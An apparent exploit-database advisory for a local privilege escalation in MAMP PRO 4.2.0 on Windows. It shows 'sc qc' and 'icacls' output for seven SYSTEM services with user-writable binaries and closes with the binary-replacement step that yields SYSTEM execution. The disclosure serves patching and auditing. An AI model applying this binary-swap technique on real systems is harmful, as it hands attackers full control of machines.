# Exploit Title: MAMP PRO 4.2.0 Local Privilege Escalation # Date: 2020-07-08 # Exploit Author: b1nary # Vendor Homepage: https://www.mamp.info/ # Software Link: https://downloads.mamp.info/MAMP-PRO-WINDOWS/releases/4.2.0/MAMP_MAMP_PRO_4.2.0.exe # Version: 4.2.0 # Tested on: Windows 10 Pro x64 Version 10.0.19041  MAMPPRO Windows installer installs seven services called 'MAMPPRO’, 'MAMPPRO-Apache', ‘MAMPPRO-MySQL’, ’MAMPDNS’, ‘MAMPPRO-Memcached', ‘emailrelay-service.exe’, and 'MAMPPRO-NGINX'. All those services runs with 'SYSTEM' privileges and they have weak file permission. Which means that a low-privileged user can modify those services and execute code with ‘SYSTEM’ privileges on the system. NT AUTHORITY\Authenticated Users:(I)(M) means that every authenticated user has modify access, (M) stands for Modify, on the files, so they can read, write and delete the files. ================================================================= (1). ===== MAMPPRO ===== C:\Users\user>sc qc MAMPPRO [SC] QueryServiceConfig SUCCESS SERVICE_NAME: MAMPPRO TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\MAMPPRO\MAMPPROService.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : MAMPRO Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\MAMPPRO>icacls c:\MAMPPRO\MAMPPROService.exe C:\MAMPPRO\MAMPPROService.exe BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(RX) NT AUTHORITY\Authenticated Users:(I)(M) Successfully processed 1 files; Failed processing 0 files (2). ===== MAMPPRO-Apache ===== C:\Users\user>sc qc MAMPPRO-Apache [SC] QueryServiceConfig SUCCESS SERVICE_NAME: MAMPPRO-Apache TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\MAMP\bin\apache\bin\httpd.exe" -k runservice LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : MAMPPRO-Apache DEPENDENCIES : Tcpip : Afd SERVICE_START_NAME : LocalSystem C:\Users\user>icacls "c:\MAMP\bin\apache\bin\httpd.exe" c:\MAMP\bin\apache\bin\httpd.exe BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(RX) NT AUTHORITY\Authenticated Users:(I)(M) Successfully processed 1 files; Failed processing 0 files (3). ===== MAMPPRO-MySQL ===== C:\Users\user>sc qc MAMPPRO-MySQL [SC] QueryServiceConfig SUCCESS SERVICE_NAME: MAMPPRO-MySQL TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\MAMP\bin\mysql\bin\mysqld.exe --defaults-file=C:\Users\Public\Documents\Appsolute\MAMPPRO\conf\my.ini MAMPPRO-MySQL LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : MAMPPRO-MySQL DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\user>icacls "C:\MAMP\bin\mysql\bin\mysqld.exe" C:\MAMP\bin\mysql\bin\mysqld.exe BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(RX) NT AUTHORITY\Authenticated Users:(I)(M) Successfully processed 1 files; Failed processing 0 files (4). ===== MAMPDNS ===== C:\Users\user>sc qc MAMPDNS [SC] QueryServiceConfig SUCCESS SERVICE_NAME: MAMPDNS TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\MAMPPRO\MAMPDNSService.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : MAMPRO DNS Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\user>icacls "C:\MAMPPRO\MAMPDNSService.exe" C:\MAMPPRO\MAMPDNSService.exe BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(RX) NT AUTHORITY\Authenticated Users:(I)(M) Successfully processed 1 files; Failed processing 0 files (5). ===== MAMPPRO-Memcached ===== C:\Users\user>sc qc MAMPPRO-Memcached [SC] QueryServiceConfig SUCCESS SERVICE_NAME: MAMPPRO-Memcached TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\MAMPPRO\MAMPMemcached.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : MAMPPRO-Memcached DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\user>icacls "C:\MAMPPRO\MAMPMemcached.exe" C:\MAMPPRO\MAMPMemcached.exe BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(RX) NT AUTHORITY\Authenticated Users:(I)(M) Successfully processed 1 files; Failed processing 0 files (6). ===== MAMPPRO-NGINX ===== C:\Users\user>sc qc MAMPPRO-NGINX [SC] QueryServiceConfig SUCCESS SERVICE_NAME: MAMPPRO-NGINX TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\MAMPPRO\MAMPNGINX.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : MAMPPRO-NGINX DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\user>icacls "C:\MAMPPRO\MAMPNGINX.exe" C:\MAMPPRO\MAMPNGINX.exe BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(RX) NT AUTHORITY\Authenticated Users:(I)(M) Successfully processed 1 files; Failed processing 0 files (7). ===== emailrelay ===== C:\Users\user>sc qc emailrelay [SC] QueryServiceConfig SUCCESS SERVICE_NAME: emailrelay TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\MAMP\bin\emailrelay\emailrelay-service.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : E-MailRelay DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\user>icacls "C:\MAMP\bin\emailrelay\emailrelay-service.exe" C:\MAMP\bin\emailrelay\emailrelay-service.exe BUILTIN\Administrators:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Users:(I)(RX) NT AUTHORITY\Authenticated Users:(I)(M) Successfully processed 1 files; Failed processing 0 files ================================================================= In order to exploit this vulnerability, a local attacker must insert an executable file that should be named as one of the following 'MAMPDNSService.exe' 'MAMPPROService.exe', 'httpd.exe', 'MAMPMemcached.exe', 'mysqld.exe’, ‘emailrelay-service.exe’ or 'MAMPNGINX.exe' , and replace the original files. Once the services start the malicious files will be executed as SYSTEM.